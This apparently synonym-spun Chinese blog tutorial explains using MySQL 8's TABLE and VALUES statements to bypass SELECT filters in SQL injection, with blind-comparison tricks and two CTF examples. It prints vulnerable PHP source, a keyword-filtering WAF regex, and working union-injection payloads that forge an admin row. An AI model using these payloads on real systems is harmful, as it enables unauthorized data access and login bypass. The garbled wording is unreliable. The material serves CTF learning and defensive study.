本文正在参与「技术专题19期 闲谈数据库技术」活动
前言
今天给咱们带来的是MYSQL8版别的特性注入,说起SQL注入咱们必定不陌生,但是你有没有想过,当SQL注入中最要害的函数SELECT被过滤后,咱们要如何去履行SQL句子呢,这就是本文要讲的内容,即运用MYSQL8版别的特性来进行要害字的绕过注入。
基础常识
由于MYSQL8装备并不是本文的关键,咱们能够参阅下面的链接来自己进行装备:
www.cnblogs.com/2020javamia…
table
官方文档:
dev.mysql.com/doc/refman/…
table函数为MYSQL8版别中新增的函数,其作用与select函数相似,作用是列出表中的全部信息,标准语法如下:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
假如咱们运用table函数查询users表下面的内容,可用以下句子:
table users;
咱们能够看到table函数能够等价于下面的常规查询句子:
select * from users;
上面这两条句子查询出的成果是一致的,一起table是支持UNION联合查询,ORDER BY等约束条件,但它与SELECT的差异能够总结为下面两个关键:
1.咱们运用table句子进行查询时,显现的始终是表的一切列。
2.咱们不能够用where字句来限制某个特定的行。
values
官方文档:
dev.mysql.com/doc/refman/…
MYSQL8中另一个新增的函数,用法能够概括为函数后跟一个或多个行结构函数的列表,能够结构一个表,标准语法如下:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]
value_list:
value[, value][, ...]
column_designator:
column_index
比如咱们要用values函数结构一个表,能够参阅下面图片了解:
需求咱们留意的是,values函数能够合作联合查询来达到SQL注入的效果,例如:
select * from user union VALUES ROW(2,3)
比较特性
了解了上面两个函数之后,下面来说一下MYSQL中的比较特性,该特性是咱们在进行MYSQL8特性盲注中必须要了解的点,咱们经过下面句子去查询表(运用TABLESPACES_EXTENSIONS):
table information_schema.TABLESPACES_EXTENSIONS limit 6,1;
查询到了以下的内容:
假设咱们用小于号去进行比较:
select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
返回了数据为1,之后咱们再用u的后边一位进行比较:
select (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
返回了数据为0,这时咱们会思考为什么字母为u时返回了数据1,究竟比较后为等于,这儿运用了特性,由于咱们字符u比较后为小于等于,所以咱们需求将比较后成果字符的ASCII码减1才是真正的成果,所以咱们在进行注入时得出的成果要将其ASCII码减1后转化。咱们再看下面的比如:
select (('数据','','')<(table users.users limit 0,1));
咱们经过上面的句子去进行字段数据的爆炸,参阅下面的图:
咱们在整型的地方输入了字符型的数据,比较时字符型会被强制转化成了整形,能够看到爆出了第一位数据为1,但需求留意当咱们用下面查询句子进行注入:
select (('1xino','','')<(table users.users limit 0,1));
返回的数据仍是1,这就很奇怪了,说以咱们要留意由于字符型与整型比较会存在强制转化,所以比较会一向持续下去,咱们写脚本的时候需求留意这个问题。
MYSQL8特性注入实例
实例一
咱们进入实例环境给了咱们如下的提示:
需求咱们注入出email的数据,提示咱们传入id参数,尝试后发现select被过滤了,所以咱们考虑可不能够进行mysql8特性注入:
?id=8 union table emails limit 8,1 --+
成功回显给了咱们email的数据:
访问后得到一个压缩包,咱们翻开后发现源码:
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
简略分析一下,需求咱们满足以下条件:
$row['username'] === 'admin'
row['passwd'] == $passwd
一起需求咱们查询句子成果大于一行而且users表中要有admin用户,需求咱们创建一个虚拟表,讲到这儿是不是很眼熟,咱们想到能够运用values函数:
GET:?id=-1%20union%20table%20emails%20limit%207,1
POST:username=-1' union values row("1","admin","1")%23&passwd=1
实例二
进入实例后是一个登录框:
给了咱们提示源码,由于代码太长所以这儿就展示比较重要的地方:
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
能够看到让咱们POST传入两个参数,username和password,一起存在下面的WAF不允许咱们运用select进行查询,一旦运用WAF制止的函数就会返回主页面,WAF内容如下:
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i';
if (preg_match($filter,$s))
return False;
return True;
}
而username与password的条件与例题一相似,也是让咱们插入admin用户,所以咱们运用mysql8特性函数:
username=-1' union values row("xino","admin","xino")%23&passwd=xino
结语
给咱们分享了关于MYSQL8特性注入的常识不知道咱们学会了没有,总结来说MYSQL8特性注入仍是环绕了MYSQL8中新增的两个函数来打开的,有爱好的小伙伴能够自己建立环境去手动试一试,总的来说仍是非常风趣的,喜欢本文的朋友希望能一键三连支持一下。
本文正在参与「技术专题19期 闲谈数据库技术」活动